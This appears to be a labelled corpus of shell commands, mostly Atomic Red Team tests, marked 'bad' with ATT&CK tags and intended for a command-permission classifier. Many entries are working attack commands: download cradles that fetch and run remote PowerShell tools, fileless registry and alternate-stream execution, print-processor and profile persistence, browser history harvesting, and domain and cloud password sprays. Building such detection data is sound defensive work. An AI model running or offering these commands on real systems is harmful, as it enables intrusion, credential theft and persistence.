cowWhySo/permission-command-corpus huggingface dataset:
Command: powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.001
Platform: windows
ATT&CK tags: T1059.001
Source rule: Powershell MsXml COM object - with prompt
Notes: Powershell MsXml COM object. Not proxy aware, removing cache although does not appear to write to those locations. Upon execution, "Download Cradle test success!" will be displayed.

Provided by https://github.com/mgreen27/mgreen27.github.io
Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.001
Platform: windows
ATT&CK tags: T1059.001
Source rule: Powershell XML requests
Notes: Powershell xml download request. Upon execution, "Download Cradle test success!" will be dispalyed.

Provided by https://github.com/mgreen27/mgreen27.github.io
Command: C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.001
Platform: windows
ATT&CK tags: T1059.001
Source rule: Powershell invoke mshta.exe download
Notes: Powershell invoke mshta to download payload. Upon execution, a new PowerShell window will be opened which will display "Download Cradle test success!".

Provided by https://github.com/mgreen27/mgreen27.github.io
Command: # Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team"" reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.001
Platform: windows
ATT&CK tags: T1059.001
Source rule: PowerShell Fileless Script Execution
Notes: Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that
art-marker.txt is in the folder.
Command: Remove-Item -path C:\Windows\Temp\art-marker.txt -Force -ErrorAction Ignore Remove-Item HKCU:\Software\Classes\AtomicRedTeam -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.001
Platform: windows
ATT&CK tags: T1059.001
Source rule: PowerShell Fileless Script Execution
Notes: Execution of a PowerShell payload from the Windows Registry similar to that seen in fileless malware infections. Upon exection, open "C:\Windows\Temp" and verify that
art-marker.txt is in the folder.
Command: Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand' $streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand' Invoke-Expression $streamcommand
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.001
Platform: windows
ATT&CK tags: T1059.001
Source rule: NTFS Alternate Data Stream Access
Notes: Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.
Command: Remove-Item #{ads_file} -Force -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.001
Platform: windows
ATT&CK tags: T1059.001
Source rule: NTFS Alternate Data Stream Access
Notes: Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed.
Command: New-PSSession -ComputerName #{hostname_to_connect} Test-Connection $env:COMPUTERNAME Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use" Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.001
Platform: windows
ATT&CK tags: T1059.001
Source rule: PowerShell Session Creation and Use
Notes: Connect to a remote powershell session and interact with the host.
Upon execution, network test info and 'T1086 PowerShell Session Creation and Use' will be displayed.
Command: Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.001
Platform: windows
ATT&CK tags: T1059.001
Source rule: ATHPowerShellCommandLineParameter -Command parameter variations
Notes: Executes powershell.exe with variations of the -Command parameter
Command: Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.001
Platform: windows
ATT&CK tags: T1059.001
Source rule: ATHPowerShellCommandLineParameter -Command parameter variations with encoded arguments
Notes: Executes powershell.exe with variations of the -Command parameter with encoded arguments supplied
Command: Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.001
Platform: windows
ATT&CK tags: T1059.001
Source rule: ATHPowerShellCommandLineParameter -EncodedCommand parameter variations
Notes: Executes powershell.exe with variations of the -EncodedCommand parameter
Command: Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.001
Platform: windows
ATT&CK tags: T1059.001
Source rule: ATHPowerShellCommandLineParameter -EncodedCommand parameter variations with encoded arguments
Notes: Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied
Command: powershell.exe -e #{obfuscated_code}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.001
Platform: windows
ATT&CK tags: T1059.001
Source rule: PowerShell Command Execution
Notes: Use of obfuscated PowerShell to execute an arbitrary command; outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary.
Command: $malcmdlets = #{Malicious_cmdlets} foreach ($cmdlets in $malcmdlets) { "function $cmdlets { Write-Host Pretending to invoke $cmdlets }"} foreach ($cmdlets in $malcmdlets) { $cmdlets}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.001
Platform: windows
ATT&CK tags: T1059.001
Source rule: PowerShell Invoke Known Malicious Cmdlets
Notes: Powershell execution of known Malicious PowerShell Cmdlets
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing) Invoke-AllChecks
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.001
Platform: windows
ATT&CK tags: T1059.001
Source rule: PowerUp Invoke-AllChecks
Notes: Check for privilege escalation paths using PowerUp from PowerShellMafia
Command: # creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami" # this would not be part of a real attack but helpful for this simulation function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")} powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.001
Platform: windows
ATT&CK tags: T1059.001
Source rule: Abuse Nslookup with DNS Records
Notes: Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts.
[reference](https://twitter.com/jstrosch/status/1237382986557001729)
Command: #{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.001
Platform: windows
ATT&CK tags: T1059.001
Source rule: SOAPHound - Dump BloodHound Data
Notes: Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory.
src: https://github.com/FalconForceTeam/SOAPHound
Command: #{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1059.001
Platform: windows
ATT&CK tags: T1059.001
Source rule: SOAPHound - Build Cache
Notes: Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename.
src: https://github.com/FalconForceTeam/SOAPHound
Command: find / -path "*.mozilla/firefox/*/places.sqlite" 2>/dev/null -exec echo {} >> #{output_file} \; cat #{output_file} 2>/dev/null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1217
Platform: linux
ATT&CK tags: T1217
Source rule: List Mozilla Firefox Bookmark Database Files on FreeBSD/Linux
Notes: Searches for Mozilla Firefox's places.sqlite file (on FreeBSD or Linux distributions) that contains bookmarks and lists any found instances to a text file.
Command: rm -f #{output_file} 2>/dev/null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1217
Platform: linux
ATT&CK tags: T1217
Source rule: List Mozilla Firefox Bookmark Database Files on FreeBSD/Linux
Notes: Searches for Mozilla Firefox's places.sqlite file (on FreeBSD or Linux distributions) that contains bookmarks and lists any found instances to a text file.
Command: find / -path "*/Firefox/Profiles/*/places.sqlite" -exec echo {} >> #{output_file} \; cat #{output_file} 2>/dev/null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1217
Platform: macos
ATT&CK tags: T1217
Source rule: List Mozilla Firefox Bookmark Database Files on macOS
Notes: Searches for Mozilla Firefox's places.sqlite file (on macOS) that contains bookmarks and lists any found instances to a text file.
Command: find / -path "*/Google/Chrome/*/Bookmarks" -exec echo {} >> #{output_file} \; cat #{output_file} 2>/dev/null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1217
Platform: macos
ATT&CK tags: T1217
Source rule: List Google Chrome Bookmark JSON Files on macOS
Notes: Searches for Google Chrome's Bookmark file (on macOS) that contains bookmarks in JSON format and lists any found instances to a text file.
Command: find / -path "*/.config/chromium/*/Bookmarks" -exec echo {} >> #{output_file} \; cat #{output_file} 2>/dev/null
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1217
Platform: linux
ATT&CK tags: T1217
Source rule: List Google Chromium Bookmark JSON Files on FreeBSD
Notes: Searches for Google Chromium's Bookmark file (on FreeBSD) that contains bookmarks in JSON format and lists any found instances to a text file.
Command: Get-ChildItem -Path C:\Users\ -Filter Bookmarks -Recurse -ErrorAction SilentlyContinue -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1217
Platform: windows
ATT&CK tags: T1217
Source rule: List Google Chrome / Opera Bookmarks on Windows with powershell
Notes: Searches for Google Chrome's and Opera's Bookmarks file (on Windows distributions) that contains bookmarks.
Upon execution, paths that contain bookmark files will be displayed.
Command: where /R C:\Users\ Bookmarks
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1217
Platform: windows
ATT&CK tags: T1217
Source rule: List Google Chrome / Edge Chromium Bookmarks on Windows with command prompt
Notes: Searches for Google Chromes's and Edge Chromium's Bookmarks file (on Windows distributions) that contains bookmarks.
Upon execution, paths that contain bookmark files will be displayed.
Command: where /R C:\Users\ places.sqlite
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1217
Platform: windows
ATT&CK tags: T1217
Source rule: List Mozilla Firefox bookmarks on Windows with command prompt
Notes: Searches for Mozilla Firefox bookmarks file (on Windows distributions) that contains bookmarks in a SQLITE database.
Upon execution, paths that contain bookmark files will be displayed.
Command: dir /s /b %USERPROFILE%\Favorites
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1217
Platform: windows
ATT&CK tags: T1217
Source rule: List Internet Explorer Bookmarks using the command prompt
Notes: This test will list the bookmarks for Internet Explorer that are found in the Favorites folder
Command: find / -path "*/Safari/Bookmarks.plist" 2>/dev/null >> #{output_file} cat #{output_file}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1217
Platform: macos
ATT&CK tags: T1217
Source rule: List Safari Bookmarks on MacOS
Notes: This test searches for Safari's Bookmarks file (on macOS) and lists any found instances to a text file.
Command: $URL_Regex = '(htt(p|s))://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?' $History = Get-Content -Path "#{history_path}" | Select-String -AllMatches $URL_Regex | ForEach-Object { $_.Matches.Value } | Sort -Unique $History | Out-File -FilePath "#{dest_path}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1217
Platform: windows
ATT&CK tags: T1217
Source rule: Extract Edge Browsing History
Notes: This test will extract Microsoft Edge browser's history of current user
Command: Remove-Item -Path "#{dest_path}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1217
Platform: windows
ATT&CK tags: T1217
Source rule: Extract Edge Browsing History
Notes: This test will extract Microsoft Edge browser's history of current user
Command: $Username = (whoami).Split('\')[1] $URL_Regex = '(htt(p|s))://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?' $History = Get-Content -Path "$Env:systemdrive\Users\$UserName\AppData\Local\Google\Chrome\User Data\Default\History" | Select-String -AllMatches $URL_Regex | ForEach-Object { $_.Matches.Value } | Sort -Unique $History | Out-File -FilePath "$Env:USERPROFILE\Downloads\chromebrowsinghistory.txt"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1217
Platform: windows
ATT&CK tags: T1217
Source rule: Extract chrome Browsing History
Notes: This test will extract browsing history of the chrome user
Command: Remove-Item -Path "$Env:USERPROFILE\Downloads\chromebrowsinghistory.txt"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1217
Platform: windows
ATT&CK tags: T1217
Source rule: Extract chrome Browsing History
Notes: This test will extract browsing history of the chrome user
Command: if( $(get-service -Name spooler).StartType -eq "Disabled") {Set-Service -Name "spooler" -StartupType Automatic} net stop spooler Copy-Item "$PathToAtomicsFolder\T1547.012\bin\AtomicTest.dll" C:\Windows\System32\spool\prtprocs\x64\AtomicTest.dll reg add "HKLM\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam" /v "Driver" /d "AtomicTest.dll" /t REG_SZ /f net start spooler if(#{restart}){ Restart-Computer }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.012
Platform: windows
ATT&CK tags: T1547.012
Source rule: Print Processors
Notes: Establishes persistence by creating a new print processor registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors.
The new print processor will point to a DLL which will be loaded by the spooler service after a reboot. The DLL will then create the file AtomicTest.txt in C:\Users\Public\ as validation that the test is successful.

Note: The test assumes a x64 Windows operating system.

The payload source code is based on a blog post b
Command: net stop spooler rm -force C:\Windows\System32\spool\prtprocs\x64\AtomicTest.dll -ErrorAction SilentlyContinue rm -force C:\Users\Public\AtomicTest.txt -ErrorAction SilentlyContinue remove-item "HKLM:\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors\AtomicRedTeam" -Force -ErrorAction SilentlyContinue net start spooler
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.012
Platform: windows
ATT&CK tags: T1547.012
Source rule: Print Processors
Notes: Establishes persistence by creating a new print processor registry key under HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Environments\Windows x64\Print Processors.
The new print processor will point to a DLL which will be loaded by the spooler service after a reboot. The DLL will then create the file AtomicTest.txt in C:\Users\Public\ as validation that the test is successful.

Note: The test assumes a x64 Windows operating system.

The payload source code is based on a blog post b
Command: Add-Content #{ps_profile} -Value "" Add-Content #{ps_profile} -Value "Start-Process #{exe_path}" powershell -Command exit
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.013
Platform: windows
ATT&CK tags: T1546.013
Source rule: Append malicious start-process cmdlet
Notes: Appends a start process cmdlet to the current user's powershell profile pofile that points to a malicious executable. Upon execution, calc.exe will be launched.
Command: $oldprofile = cat $profile | Select-Object -skiplast 1 Set-Content $profile -Value $oldprofile
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.013
Platform: windows
ATT&CK tags: T1546.013
Source rule: Append malicious start-process cmdlet
Notes: Appends a start process cmdlet to the current user's powershell profile pofile that points to a malicious executable. Upon execution, calc.exe will be launched.
Command: @FOR /F %n in (%temp%\users.txt) do @echo | set/p=. & @net use %logonserver%\IPC$ /user:"%userdomain%\%n" "#{password}" 1>NUL 2>&1 && @echo [*] %n:#{password} && @net use /delete %logonserver%\IPC$ > NUL
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1110.003
Platform: windows
ATT&CK tags: T1110.003
Source rule: Password Spray all Domain Users
Notes: CAUTION! Be very careful to not exceed the password lockout threshold for users in the domain by running this test too frequently.
This atomic attempts to map the IPC$ share on one of the Domain Controllers using a password of Spring2020 for each user in the %temp%\users.txt list. Any successful authentications will be printed to the screen with a message like "[*] username:password", whereas a failed auth will simply print a period. Use the input arguments to specify your own password to use fo
Command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 IEX (IWR 'https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/94cb72506b9e2768196c8b6a4b7af63cebc47d88/DomainPasswordSpray.ps1' -UseBasicParsing); Invoke-DomainPasswordSpray -Password Spring2017 -Domain #{domain} -Force
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1110.003
Platform: windows
ATT&CK tags: T1110.003
Source rule: Password Spray (DomainPasswordSpray)
Notes: Perform a domain password spray using the DomainPasswordSpray tool. It will try a single password against all users in the domain

https://github.com/dafthack/DomainPasswordSpray
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') domainpassspray -consoleoutput -noninteractive -emptypasswords
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1110.003
Platform: windows
ATT&CK tags: T1110.003
Source rule: WinPwn - DomainPasswordSpray Attacks
Notes: DomainPasswordSpray Attacks technique via function of WinPwn
Command: function Invoke-dpsLight ($Password, $userlist) { $users = Get-Content $userlist $Domain = "LDAP://" + ([ADSI]"").distinguishedName foreach ($User in $users) { $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain, $User, $Password) if ($Domain_check.name -ne $null) { Write-Host -ForegroundColor Green "Password found for User:$User Password:$Password" } else { Write-Host ". " -NoNewline} } Write-Host -ForegroundColor green "Finished" } Invoke-dpsLight "#{password}" $env:Temp\usersdpsLight.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1110.003
Platform: windows
ATT&CK tags: T1110.003
Source rule: Password Spray Invoke-DomainPasswordSpray Light
Notes: Perform a domain password spray using the same core method of the [DomainPasswordSpray tool](https://github.com/dafthack/DomainPasswordSpray) 
but without all the extra code that makes the script get blocked by many AVs. 
This atomic test will attempt a single password against all users in a password list at $env:Temp\usersdpsLight.txt. You can create this file manually
or with the automated prereq_command. The prereq_command will limit the user list to 200 users by default to help you avoid mas
Command: import-module "PathToAtomicsFolder\..\ExternalPayloads\MSOLSpray.ps1" Invoke-MSOLSpray -UserList "#{user_list}" -Password "#{password}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1110.003
Platform: azure-ad
ATT&CK tags: T1110.003
Source rule: Password Spray Microsoft Online Accounts with MSOLSpray (Azure/O365)
Notes: This test attempts to brute force a list of Microsoft Online (Azure/O365) users with a single password via the MSOLSpray Powershell module.
Command: cd "PathToAtomicsFolder\..\ExternalPayloads" .\kerbrute.exe passwordspray --dc #{domaincontroller} -d #{domain} "PathToAtomicsFolder\..\ExternalPayloads\passwordspray.txt" password132
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1110.003
Platform: windows
ATT&CK tags: T1110.003
Source rule: Password Spray using Kerbrute Tool
Notes: Test a single password against a list of users
Command: cd /tmp git clone git@github.com:WhiteOakSecurity/GoAWSConsoleSpray.git cd /tmp/GoAWSConsoleSpray go run main.go GoAWSConsoleSpray -a #{aws_account_id} -u PathToAtomicsFolder/T1110.003/src/aws_users.txt -p PathToAtomicsFolder/T1110.003/src/aws_passwords.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1110.003
Platform: iaas:aws
ATT&CK tags: T1110.003
Source rule: AWS - Password Spray an AWS using GoAWSConsoleSpray
Notes: GoAWSConsoleSpray is a tool that can be used to spray AWS IAM Console Credentials in order to identify a valid login for a user account built by WhiteOakSecurity. For more details reagrding the tool, check - https://www.whiteoaksecurity.com/blog/goawsconsolespray-password-spraying-tool/
Command: rm -rf /tmp/GoAWSConsoleSpray
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1110.003
Platform: iaas:aws
ATT&CK tags: T1110.003
Source rule: AWS - Password Spray an AWS using GoAWSConsoleSpray
Notes: GoAWSConsoleSpray is a tool that can be used to spray AWS IAM Console Credentials in order to identify a valid login for a user account built by WhiteOakSecurity. For more details reagrding the tool, check - https://www.whiteoaksecurity.com/blog/goawsconsolespray-password-spraying-tool/